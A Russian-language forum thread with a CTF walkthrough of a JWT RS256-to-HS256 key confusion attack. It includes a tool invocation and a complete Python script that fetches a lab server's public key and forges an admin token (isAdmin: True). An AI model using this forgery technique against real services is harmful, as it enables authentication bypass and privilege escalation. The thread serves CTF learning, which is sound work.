CTF Момент с JWT

photo_2023-04-11_12-53-19.jpg

Первым делом, нужно сгенерировать наш токен.
ИМЯ

Сохраняем токен, и также получаем публичный ключ аналогично. Их нужно сохранить в разных файлах, один jwt.txt, другой key.pem

Следующим действием необходимо скачать PyJWT, именно PyJWT, удалите jwt и старый PyJWT
Python:
pip3 uninstall jwt PyJWT
pip3 install PyJWT

Затем из GitHub скачиваем утилиту для того чтобы сгенерировать нужный нам токен: GitHub - aurainfosec/jwt_key_confusion: JWT key confusion attack, i.e. re-sigining RS256 to HS256

В коде нужно изменить 2 параметра
Код:
claims = {"isAdmin":True, "name":ИМЯ}
headers = {"typ":"JWT", "alg":"HS256"}

Запускаем утилиту следующей командой и ключами:
python3 jwt_resign_asym_to_sym.py -k key.pem -n
-k - где лежит наш публичный ключ
-n - выдаст только один токен

Вставляем сгенерированый токен в браузер:
ТОКЕН

Радуемся добытому флагу!

Видео на YouTube:
 
Последнее редактирование:

Exited3n

Red Team
10.05.2022
760
259
BIT
764
Решил разобраться с этим таском плотнее, узнать и понять как генерировать JWT без использования сторонних библиотек и сервисов таких как pyJWT, python-jwt, token.dev и пр.

jwt_ng1_en.png


Header, Payload энкодим в Base64, склеиваем их с точкой между собой и на основе данной строки высчитываем signature.
Потом склеиваем все вместе и получаем JWT.

Написал свою реализацию на питоне:
Python:
import requests
import json
import hmac
import hashlib
import base64


def site_req(url: str) -> dict:
    with requests.Session() as s:
        req = s.get(url)
        req = json.loads(req.text)
    return req


header = {"typ": "JWT", "alg": "HS256"}
payload = {"name": "exited3n", "isAdmin": True}
secret = site_req('http://62.173.140.174:16005/get-pub').get('pub_key')


def jwt_gen(header: dict, payload: dict, secret: str) -> bytes:
    jwt_parts = []
    json_header = json.dumps(header).encode()
    json_payload = json.dumps(payload).encode()
    jwt_parts.append(base64.urlsafe_b64encode(json_header))
    jwt_parts.append(base64.urlsafe_b64encode(json_payload))

    merge_payload_header = b'.'.join(jwt_parts)

    signature = hmac.new(secret.encode(), merge_payload_header, hashlib.sha256).digest()
    jwt_parts.append(base64.urlsafe_b64encode(signature))

    return b'.'.join(jwt_parts)


print(f'JSON Web Token: {str(jwt_gen(header, payload, secret))[2:-1]}')
print(site_req('http://62.173.140.174:16005/check-jwt/' + str(jwt_gen(header, payload, secret))[2:-1]).get('msg'))
 
Последнее редактирование:

aboba_uz

New member
09.07.2024
2
0
BIT
13
Посмотреть вложение 68221
Первым делом, нужно сгенерировать наш токен.
ИМЯ

Сохраняем токен, и также получаем публичный ключ аналогично. Их нужно сохранить в разных файлах, один jwt.txt, другой key.pem

Следующим действием необходимо скачать PyJWT, именно PyJWT, удалите jwt и старый PyJWT
Python:
pip3 uninstall jwt PyJWT
pip3 install PyJWT

Затем из GitHub скачиваем утилиту для того чтобы сгенерировать нужный нам токен: GitHub - aurainfosec/jwt_key_confusion: JWT key confusion attack, i.e. re-sigining RS256 to HS256

В коде нужно изменить 2 параметра
Код:
claims = {"isAdmin":True, "name":ИМЯ}
headers = {"typ":"JWT", "alg":"HS256"}

Запускаем утилиту следующей командой и ключами:
python3 jwt_resign_asym_to_sym.py -k key.pem -n


Вставляем сгенерированый токен в браузер:
ТОКЕН

Радуемся добытому флагу!

Видео на YouTube:
Привет у меня появилась проблема после всех действий всё равно не меняется 3 часть.
┌──(root㉿aboba)-[/home/#######/Desktop/jwt_key_confusion]
└─# python3 jwt_resign_asym_to_sym.py -k key.pem -n
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYSIsImlzQWRtaW4iOnRydWV9.kPtOBWhbeJc6Bd2FH7AEg3l9sz5pk3IXYCkvN5yw2AQ
 

D3L1F3R

Red Team
20.02.2022
354
152
BIT
735
Привет у меня появилась проблема после всех действий всё равно не меняется 3 часть.
┌──(root㉿aboba)-[/home/#######/Desktop/jwt_key_confusion]
└─# python3 jwt_resign_asym_to_sym.py -k key.pem -n
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYSIsImlzQWRtaW4iOnRydWV9.kPtOBWhbeJc6Bd2FH7AEg3l9sz5pk3IXYCkvN5yw2AQ
Попробуй как на видео сделать, там всё получилось
 

serzh_fedorov

Green Team
19.08.2024
17
2
BIT
96
Спасибо за разбор, очень полезный. Однако хотел спросить - в подсказке к заданию указано что надо смотреть в сторону поиска CVE, хотя тут о нем не слова, получается есть иное решение таска?
 

D3L1F3R

Red Team
20.02.2022
354
152
BIT
735
Спасибо за разбор, очень полезный. Однако хотел спросить - в подсказке к заданию указано что надо смотреть в сторону поиска CVE, хотя тут о нем не слова, получается есть иное решение таска?
Думаю, что так оно и есть
 

OxDEADBEEF

One Level
24.11.2023
8
2
BIT
27
Привет, сгенерил токен и с помощью jwt.io и с помощью тулзы -> оба выдают failure, причем вставлял в secret публичный ключ, и по итогу получал одинаковые токены
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!